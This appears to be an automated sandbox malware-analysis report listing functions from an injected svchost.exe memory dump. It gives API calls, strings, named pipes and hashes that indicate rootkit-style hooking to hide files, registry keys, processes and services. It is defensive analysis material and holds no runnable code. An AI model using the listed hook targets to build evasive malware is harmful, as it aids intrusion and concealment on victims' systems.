HeapFree.KERNEL32 ref: 0000022F4B921484

Strings

d, xrefs: 0000022F4B92135A

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction ID: 73884ab20b5a4ee6f31b479e3b78de45307763ec609ba1613fd3a271b7b88c26
Opcode Fuzzy Hash: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction Fuzzy Hash: B751273AA04B8496EB94EFA2E66835B77B1F789B89F048134DB490771ADFBCC055C700

Function 0000022F4B921D1C Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000022F4B921D27

Part of subcall function 0000022F4B921FDC: GetModuleHandleA.KERNEL32 ref: 0000022F4B921FF4
Part of subcall function 0000022F4B921FDC: GetProcAddress.KERNEL32 ref: 0000022F4B922005

Part of subcall function 0000022F4B925B40: GetCurrentThreadId.KERNEL32 ref: 0000022F4B925B7B

Strings

NtDeviceIoControlFile, xrefs: 0000022F4B921E5E
NtQuerySystemInformation, xrefs: 0000022F4B921D4D
sechost.dll, xrefs: 0000022F4B921E41
NtResumeThread, xrefs: 0000022F4B921D6A
NtQueryDirectoryFileEx, xrefs: 0000022F4B921DA4
EnumServicesStatusExW, xrefs: 0000022F4B921E19, 0000022F4B921E3A
NtEnumerateValueKey, xrefs: 0000022F4B921DDE
NtEnumerateKey, xrefs: 0000022F4B921DC1
advapi32.dll, xrefs: 0000022F4B921DFF, 0000022F4B921E20
NtQueryDirectoryFile, xrefs: 0000022F4B921D87
ntdll.dll, xrefs: 0000022F4B921D35
EnumServiceGroupW, xrefs: 0000022F4B921DF8

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction ID: a2b000bf964a77a2ae0592e655d6e376738b5ff36800a8c6ea03bc55bc4b3563
Opcode Fuzzy Hash: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction Fuzzy Hash: A331926CD1094AB0FE8CFFE5EA797E66330AB48344F9418339609421639BFC8699D350

Function 0000022F4B92D398 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0000022F4B92D3A7
FlsGetValue.KERNEL32(?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D3BC
FlsSetValue.KERNEL32(?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D3DD
FlsSetValue.KERNEL32(?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D40A
FlsSetValue.KERNEL32(?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D41B
FlsSetValue.KERNEL32(?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D42C
SetLastError.KERNEL32 ref: 0000022F4B92D447
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D47D
FlsSetValue.KERNEL32(?,?,00000001,0000022F4B92F23C,?,?,?,?,0000022F4B92C50F,?,?,?,?,?,0000022F4B927AC0), ref: 0000022F4B92D49C

Part of subcall function 0000022F4B92DC3C: HeapAlloc.KERNEL32 ref: 0000022F4B92DC91

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D4C4

Part of subcall function 0000022F4B92DCB4: HeapFree.KERNEL32 ref: 0000022F4B92DCCA
Part of subcall function 0000022F4B92DCB4: GetLastError.KERNEL32 ref: 0000022F4B92DCD4

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D4D5
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000022F4B930FDB,?,?,?,0000022F4B9309CC,?,?,?,0000022F4B92CDBF), ref: 0000022F4B92D4E6

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction ID: e033f97e4525245099d7c372d78e7e6c7bd7c207468dcd0b1050cd078bd67154
Opcode Fuzzy Hash: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction Fuzzy Hash: 5641092CE05250A2FADCBFB2D77E36B22725F557A4F184F349B2A066D7DAAC9441D200

Function 0000022F4B92224C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000022F4B922261
GetCurrentProcessId.KERNEL32 ref: 0000022F4B92226B

Part of subcall function 0000022F4B92193C: OpenProcess.KERNEL32 ref: 0000022F4B92195A
Part of subcall function 0000022F4B92193C: IsWow64Process.KERNEL32 ref: 0000022F4B921970
Part of subcall function 0000022F4B92193C: CloseHandle.KERNEL32 ref: 0000022F4B92198B

CreateFileW.KERNEL32 ref: 0000022F4B9222C4
WriteFile.KERNEL32 ref: 0000022F4B9222EC
ReadFile.KERNEL32 ref: 0000022F4B92230B
CloseHandle.KERNEL32 ref: 0000022F4B922314

Strings

\\.\pipe\wzchildproc32, xrefs: 0000022F4B92229B
\\.\pipe\wzchildproc64, xrefs: 0000022F4B922294

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\wzchildproc32$\\.\pipe\wzchildproc64
API String ID: 2171963597-1908187885
Opcode ID: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction ID: 8a50a303fa95178e241ab5c4de6dab1416852d232bb1f4af96a468d04f80c525
Opcode Fuzzy Hash: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction Fuzzy Hash: D021603AA1874093FB54AF65F66835A73B0F789BA4F541235DB5902AA9CFBCC149CB00

Function 0000022F4B8F9EF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000022F4B8F9F4C

Part of subcall function 0000022F4B8FAE08: __GetUnwindTryBlock.LIBCMT ref: 0000022F4B8FAE4B
Part of subcall function 0000022F4B8FAE08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000022F4B8FAE70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000022F4B8FA024
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000022F4B8FA273
std::bad_alloc::bad_alloc.LIBCMT ref: 0000022F4B8FA37F

Strings

csm, xrefs: 0000022F4B8FA047
csm, xrefs: 0000022F4B8F9F66
csm, xrefs: 0000022F4B8F9FCD

Memory Dump Source

Source File: 0000000A.00000002.2651743458.0000022F4B8F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b8f0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: da2c2a2e52295173ddd7e2504bf9b64235013c0eac6d45ea8b79137591e09048
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: B7D1C13AA00B409AEBA0AFA5D64879E37B0F795799F000135EF8957B57EB74D493C700

Function 0000022F4B92AAF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000022F4B92AB4C

Part of subcall function 0000022F4B92BA08: __GetUnwindTryBlock.LIBCMT ref: 0000022F4B92BA4B
Part of subcall function 0000022F4B92BA08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000022F4B92BA70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000022F4B92AC24
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000022F4B92AE73
std::bad_alloc::bad_alloc.LIBCMT ref: 0000022F4B92AF7F

Strings

csm, xrefs: 0000022F4B92AB66
csm, xrefs: 0000022F4B92ABCD
csm, xrefs: 0000022F4B92AC47

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: 1d924de9278305c148e31b0b447630519e86efe1a5e45afe5903e2605341831a
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: BAD15B7BE00B409AFBA8AFA5D65839E77B0F745788F100935EB4957B96CB78C482C700

Function 0000022F4B92F904 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 0000022F4B92FA80
GetProcAddress.KERNEL32 ref: 0000022F4B92FA8C

Strings

ext-ms-, xrefs: 0000022F4B92F9DD
api-ms-, xrefs: 0000022F4B92F9CA

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction ID: 2f77668f57cb5e97c049c5cc54ff48c13407bcee6ec94088aabda4b1b494d258
Opcode Fuzzy Hash: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction Fuzzy Hash: A841F42AF15A1071FA99EF96EA3875733B1B749BE0F0659399F0957386EABCC444C300

Function 0000022F4B92104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000022F4B9210B1
RegEnumValueW.ADVAPI32 ref: 0000022F4B921117
GetProcessHeap.KERNEL32 ref: 0000022F4B92115A
HeapAlloc.KERNEL32 ref: 0000022F4B921168
GetProcessHeap.KERNEL32 ref: 0000022F4B921185
HeapFree.KERNEL32 ref: 0000022F4B921193

Strings

d, xrefs: 0000022F4B9210D6

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: ce9cefd1f562b99d9dbd7395918815e3e2e756b4851a030e7b44f7ae27ca4f18
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 7B417B36A14B8096E7A4DFA1E55839A77B1F389B88F048139DB8907659DF7CC499CB00

Function 0000022F4B92D5D8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,0000022F4B92CD4E,?,?,?,?,?,?,?,?,0000022F4B92D50D,?,?,00000001), ref: 0000022F4B92D5F7
FlsSetValue.KERNEL32(?,?,?,0000022F4B92CD4E,?,?,?,?,?,?,?,?,0000022F4B92D50D,?,?,00000001), ref: 0000022F4B92D616
FlsSetValue.KERNEL32(?,?,?,0000022F4B92CD4E,?,?,?,?,?,?,?,?,0000022F4B92D50D,?,?,00000001), ref: 0000022F4B92D63E
FlsSetValue.KERNEL32(?,?,?,0000022F4B92CD4E,?,?,?,?,?,?,?,?,0000022F4B92D50D,?,?,00000001), ref: 0000022F4B92D64F
FlsSetValue.KERNEL32(?,?,?,0000022F4B92CD4E,?,?,?,?,?,?,?,?,0000022F4B92D50D,?,?,00000001), ref: 0000022F4B92D660

Strings

Y%, xrefs: 0000022F4B92D616
1%, xrefs: 0000022F4B92D63E

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction ID: c1771cd4d9f66d7745179ee4e672ef5854db48beb73a32ad212ef63d4f1f1538
Opcode Fuzzy Hash: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction Fuzzy Hash: CC113D28E08250A1FADCBFA2E77A36B22625F547A4F1C4B345A2D467D7DEACC441D640

Function 0000022F4B8F6920 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000022F4B8F6948
__scrt_acquire_startup_lock.LIBCMT ref: 0000022F4B8F699A
_RTC_Initialize.LIBCMT ref: 0000022F4B8F69C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000022F4B8F69EE
__scrt_release_startup_lock.LIBCMT ref: 0000022F4B8F6A19

Memory Dump Source

Source File: 0000000A.00000002.2651743458.0000022F4B8F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b8f0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: a365d369036b2b26bbd370a9d4c31e0717dc197af8bbad51161d873adee3a40e
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 8181D03DE00201A6FAD0BFE5D659B5B22B1EB89782F548235AB4447797FAB9C847C700

Function 0000022F4B927520 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000022F4B927548
__scrt_acquire_startup_lock.LIBCMT ref: 0000022F4B92759A
_RTC_Initialize.LIBCMT ref: 0000022F4B9275C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000022F4B9275EE
__scrt_release_startup_lock.LIBCMT ref: 0000022F4B927619

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: c51334e39e5f5977e17591ee4fce557e36df1a67436e659bd583697e642eb82a
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 9081A028E04241A6FAD8BFE5D7793AB66B0A785B80F5448359B0863397EBFCCD45C701

Function 0000022F4B92A148 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000022F4B92A1CD
GetLastError.KERNEL32 ref: 0000022F4B92A1DB
LoadLibraryExW.KERNEL32 ref: 0000022F4B92A205
FreeLibrary.KERNEL32 ref: 0000022F4B92A273
GetProcAddress.KERNEL32 ref: 0000022F4B92A27F

Strings

api-ms-, xrefs: 0000022F4B92A1ED

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction ID: 83e3394d01f89b93c26caa66c7161ea38b1c3006fc4177b8ceb87af8da782049
Opcode Fuzzy Hash: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction Fuzzy Hash: E431E42AE02640B1FED9AFC2EA2875623B4B749BA0F5949349E1D07392DFBDC446C300

Function 0000022F4B934324 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000022F4B934355
GetLastError.KERNEL32 ref: 0000022F4B934361
CloseHandle.KERNEL32 ref: 0000022F4B934379
CreateFileW.KERNEL32 ref: 0000022F4B9343A4
WriteConsoleW.KERNEL32 ref: 0000022F4B9343C3

Strings

CONOUT$, xrefs: 0000022F4B934385

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction ID: 843c655eff9d0843dd08c6668f8e99b76e5e9d14655632ee1d941493a23cb1a3
Opcode Fuzzy Hash: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction Fuzzy Hash: 8B119625718B5096E390AFD6EA6831A76B0F78CBE4F005234DB5A87796CFB8C854C744

Function 0000022F4B9237A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000022F4B9237B2
GetCurrentProcess.KERNEL32 ref: 0000022F4B9237E0
VirtualProtectEx.KERNEL32 ref: 0000022F4B923802
GetCurrentProcess.KERNEL32 ref: 0000022F4B92381D
VirtualProtectEx.KERNEL32 ref: 0000022F4B92383E

Strings

wr, xrefs: 0000022F4B923813

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction ID: 6d56411059032b96cf52a3874d0fa3f23297c4528b6b1fff269c96f9af339486
Opcode Fuzzy Hash: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction Fuzzy Hash: 43117C2AB0874096FF98AF92F52826A63B0F789B84F040439DF8907B56EF7DC504C700

Function 0000022F4B925B40 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022F4B925B7B
GetThreadContext.KERNEL32 ref: 0000022F4B925CE5

Part of subcall function 0000022F4B925970: GetCurrentThreadId.KERNEL32 ref: 0000022F4B925974

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2460c92bfe80c12f43b9e41940236e3d31cb2b1f5e55ffad558bfd096889bb43
Instruction ID: 32b35987f1af40d05fee103414a54acafcb92e9c4dcd903076f14a56b9b4652b
Opcode Fuzzy Hash: 2460c92bfe80c12f43b9e41940236e3d31cb2b1f5e55ffad558bfd096889bb43
Instruction Fuzzy Hash: 64D1AF3AA05B5891EAB4AF56E5A435B77B0F388B84F100536EB8D4776ADF7CC550CB00

Function 0000022F4B9214A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B9214CA
HeapFree.KERNEL32 ref: 0000022F4B9214D9
GetProcessHeap.KERNEL32 ref: 0000022F4B9214E6
HeapFree.KERNEL32 ref: 0000022F4B9214F5
GetProcessHeap.KERNEL32 ref: 0000022F4B921505

Strings

C:\Windows\system32\svchost.exe, xrefs: 0000022F4B9361A9, 0000022F4B9361B1

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\svchost.exe
API String ID: 3168794593-4180442734
Opcode ID: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction ID: d3b748ffa8e7437680072e1bbf71ede5a447bdbe8d5ccdd4027060030305e6d9
Opcode Fuzzy Hash: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction Fuzzy Hash: F33180AF90DBC0AAE395AFE5DA6925A3FB0F38DF40F09E035DB4403247DAA49810C740

Function 0000022F4B92D510 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000022F4B92D51F
FlsSetValue.KERNEL32(?,?,?,0000022F4B92DC25,?,?,?,?,0000022F4B92DCE8), ref: 0000022F4B92D555
FlsSetValue.KERNEL32(?,?,?,0000022F4B92DC25,?,?,?,?,0000022F4B92DCE8), ref: 0000022F4B92D582
FlsSetValue.KERNEL32(?,?,?,0000022F4B92DC25,?,?,?,?,0000022F4B92DCE8), ref: 0000022F4B92D593
FlsSetValue.KERNEL32(?,?,?,0000022F4B92DC25,?,?,?,?,0000022F4B92DCE8), ref: 0000022F4B92D5A4
SetLastError.KERNEL32 ref: 0000022F4B92D5BF

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction ID: df63000a15ab9cdbea4b867a8bc7b3749937bdd8427f911b5941a662304442a8
Opcode Fuzzy Hash: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction Fuzzy Hash: 3F112C28E09650A1FADCBFA1D77A72B22625F447A4F184B349A2A467DBDEECC441D240

Function 0000022F4B9219A4 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000022F4B9219CA
K32GetModuleFileNameExW.KERNEL32 ref: 0000022F4B9219E8
PathFindFileNameW.SHLWAPI ref: 0000022F4B9219F7
lstrlenW.KERNEL32 ref: 0000022F4B921A03
StrCpyW.SHLWAPI ref: 0000022F4B921A16
CloseHandle.KERNEL32 ref: 0000022F4B921A24

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction ID: ab1870f1ce097217d8c9d697d67a50e8735f31fb0d972f3aff40e2a40e560407
Opcode Fuzzy Hash: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction Fuzzy Hash: 05015B25B04A4096FB94EF92E66835A63B1FB8CBC0F488434DF4943756DEBCC959C700

Function 0000022F4B9236DC Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000022F4B9236F8
GetCurrentProcess.KERNEL32 ref: 0000022F4B923706
VirtualProtectEx.KERNEL32 ref: 0000022F4B923728
GetCurrentProcess.KERNEL32 ref: 0000022F4B923746
VirtualProtectEx.KERNEL32 ref: 0000022F4B923767
TerminateThread.KERNEL32 ref: 0000022F4B923776

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction ID: 0aa6039e52b4918b93c01abbad45a58908e3a9be5c1d2ca752cb9836a2e5124c
Opcode Fuzzy Hash: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction Fuzzy Hash: 96015E68E1970096FFA4AF92EA2C31733B4BB49B82F044438CB4906366EF7CC048C710

Function 0000022F4B921A48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000022F4B921A68
StrCmpNIW.SHLWAPI ref: 0000022F4B921A82
lstrlenW.KERNEL32 ref: 0000022F4B921A91
StrCpyW.SHLWAPI ref: 0000022F4B921AA6

Strings

\\?\, xrefs: 0000022F4B921A76

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
